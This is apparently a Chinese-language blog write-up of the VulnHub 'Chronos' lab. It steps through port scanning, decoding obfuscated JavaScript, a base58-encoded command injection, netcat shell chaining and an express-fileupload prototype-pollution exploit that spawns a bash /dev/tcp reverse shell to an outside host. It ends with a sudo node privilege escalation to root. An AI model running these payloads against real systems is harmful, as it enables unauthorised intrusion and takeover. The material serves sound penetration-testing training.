Time-vulnhub打靶-Chronos
杜彬,Time, vulnhub-Chronos
打靶训练针对的知识点:
端口扫描 WEB侦查 命令注入
数据编解码 搜索大法 框架漏洞利用
代码审计 NC串联 本地提权
打靶目标: 取得 2 个 flag + root 权限
一:信息收集
1,主机发现
![](https://i-blog.csdnimg.cn/img_convert/01ea936f3c4fda432a653bd71333ce5a.png)kali攻击机的ip地址是192.168.56.102,但是我们现在并不知道目标靶机的ip地址,所以我们第一目标就是找到目标靶机的ip地址,也就是主机发现
NumLock
2.端口扫描
这里我们成功知道了目标的ip地址为**192.168.56.103**,所以我们先用**namp扫描工具**对目标开启的端口和服务进行探测,扫描命令如下nmap -A 192.168.56.103
可以看到目标开启了22端口,对应着ssh服务,还开启了80端口和8000端口,对应着http服务 ,80端口的http服务是通过乌班图系统搭建,而8000端口的服务则是通过node.js搭建,因为ssh需要账密,所以我们先去访问目标的网页看能不能从web端入手
3.web侦察
目标的**80端口**和**8000端口**都是http服务,所以我们依次访问一下试试,先浏览器访问目标的**80端口**,页面如下看看页面源码和开发者工具,如果没什么结果的话就去进行目录爬取,页面源码如下
在源码中发现使用了一段js脚本,将脚本复制到本地进行分析
4.数据编解码
![](https://i-blog.csdnimg.cn/img_convert/c0ecdd6fca72c5c95cb653009584ed52.png)将上面的js代码复制下来查看后,发现这段代码中有大量的形如“0x16b66”的数据,说明经过了大量的编码,所以我们第一件事应该是将这段数据解码来整理,美化这段代码
使用在线解码工具CyberChef
https://cyberchef.org/
页面如下,左侧是代码处理的模块,有几百种,将要用到的代码处理的模块放到Recipe框中,将要处理的代码放到input中,结果就会显示在output中
仔细观察美化后的代码,发现了这样一句
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
chronos就是这台靶机的名字,local就是本地的意思,而后面开启了8000端口,而最开始我们对靶机进行端口扫描时靶机就开启了8000端口,所以我们猜测chronos.local指向的ip地址就是目标靶机的ip
访问不到,那说明什么呢?说明这个域名只在目标靶机上能被正常解析为ip,即搭建在了目标靶机上,那我们就可以通过修改主机的host文件来访问该域名
Hosts文件是一种在计算机网络中存储主机名与IP地址对应关系的文本文件。通过配置Hosts文件,可以避免在网络环境中DNS无法正常解析时,出现无法访问互联网的问题。
位置
/etc/hosts
此时再访问chronos.local,结果如下
chronos.local这个域名对应着目标的ip地址
二、渗透流程
1、命令执行漏洞
我们只是做了一个域名与ip的绑定操作,为什么会新出现一段字并显示出当前时间,这说明这个网页通过域名获取了资源,那我们直接抓包看看是什么情况可以看到发送了三个数据包,其中一个请求的网页正是我们最开始在脚本中找到的网址,而且响应包中返回了当前时间,那么我们把这个数据包发到reperter模块继续观察
当我们尝试把format的参数改掉后,就不能正确返回当前日期了
我们将参数进行一下解码看看,我们选择magic模块,该模块会自动识别编码类型并进行解码
可以看到是base58编码
看到这段代码我就想起了kali的date命令
所以我们大胆的猜测一下参数format的值就是加在date命令后的,而date又是系统命令,就很有可能存在命令执行
base58编码进行测试
可以看到命令成功执行
既然存在命令执行漏洞,那我们看看能不能反弹shell,反弹shell最常用的就是nc所以我们可以先看看该目标主机的bin目录下有没有nc
5H77UDUtonCv1VbB617Za6BYECmuPVgQ9G7gWGjmswYscbm9hwpLwKo65N4YLcm
存在nc,但是不知道这个nc的版本
2、nc反弹shell
先来测试nc是否能够正常运行,即与我们kali开启的端口进行最基本的连接'+Today is %A, %B %d, %Y %H:%M:%S.' && nc 192.168.56.102 5555
成功但执行命令没有回显,大概率是没有-e这个参数
使用nc串联
nc 192.168.56.103 5555|/bin/bash |nc 192.168.56.103 6666
将5555端口执行的命令通过/bin/bash 在6666端口显示
www-data权限
可以看到存在一个imera用户,并且该用户文件下还存在一个user.txt的文件,但是我们现在没有权限访问,访问的话至少都需要imera用户的权限,所以又来到了提权
3、权限提升途径
[1]、基于内核漏洞提权
查看内核版本,去网上查是否存在相关漏洞uname -a
[2]、suid权限配置错误
[3]、sudo配置漏洞
```plain sudo -l ```上面的全没有,这时候就要进行大量的信息收集
这个目录应该就是网页的源码目录,但是并没有什么php,jsp,python等等的文件,说明这个网站的编写语言就是js,而我们通常对js的认知就是运行在浏览器的前端代码,而不会认为是用来写服务端应用程序的,但其实node.js就可以实现用javascript语言来编写web应用程序的功能
不会直接网上搜索
node.js技术就是用于利用javascript代码在服务器上搭建web应用程序,而且这样搭建出来的web应用程序有很多独有的优势,比如非阻塞机制,异步输入输出之类的模型,使得这些web应用程序在处理某些特定程序时性能大大提高,并且通常都是基于一些已有的框架和库来进行开发,而express.js库是基于web应用开发使用的最多的
查看了package.json,里面含有**大量重要配置信息,**app.js存在命令执行的地方
在上一级目录发现了chronosweb应用和chronos-v2web应用,还是root权限
可以看到存在一个主页面和前端文件,后端文件,我们先进入后端文件看看
发现四个文件
node_modules package.json package-lock.json server.js
继续查看package.json
再看一下server是一个文件上传
但它这个文件上传,建立在127.0.0.1的8080端口上,也就是本机上,但是这段代码也没有什么明确的漏洞点
找了找express-fileupload这个模块存在的一个原型污染漏洞
这个漏洞,processNested功能必须开启
是开启的
4、node.js原型污染漏洞
```plain import requestscmd = ‘bash -c “bash -i &> /dev/tcp/p6.is/8888 0>&1”’
pollute
requests.post(‘http://p6.is:7777’, files = {‘proto.outputFunctionName’: (
None, f"x;console.log(1);process.mainModule.require(‘child_process’).exec(‘{cmd}’);x")})
execute command
requests.get(‘http://p6.is:7777’)
```plain
p6.is/8888 替换为 kali攻击机的ip/监听端口
p6.is:7777 替换为 目标ip:目标web应用程序运行端口
开启apache以供我们在目标机器上下载文件
通过wget下载
接下来就在kali上开启8888端口
使用python3执行文件
成功拿下imera权限
成功拿下第一个flag
还是没有root权限,继续提权
这个用户的权限则存在sudo错误配置漏洞
说明我们可以在不需要密码的情况下就可以通过sudo执行npm命令和node命令,
node就是一种类似于java的语言开发环境,我们都知道利用python可以反弹shell,其实java也可以,所以node也可以
sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'
拿下root权限,再去拿flag
彩蛋
```plain byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UKYXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
base64解码翻译
![](https://i-blog.csdnimg.cn/img_convert/4edc59bd60f80ee7925b7d8df9ba6161.png)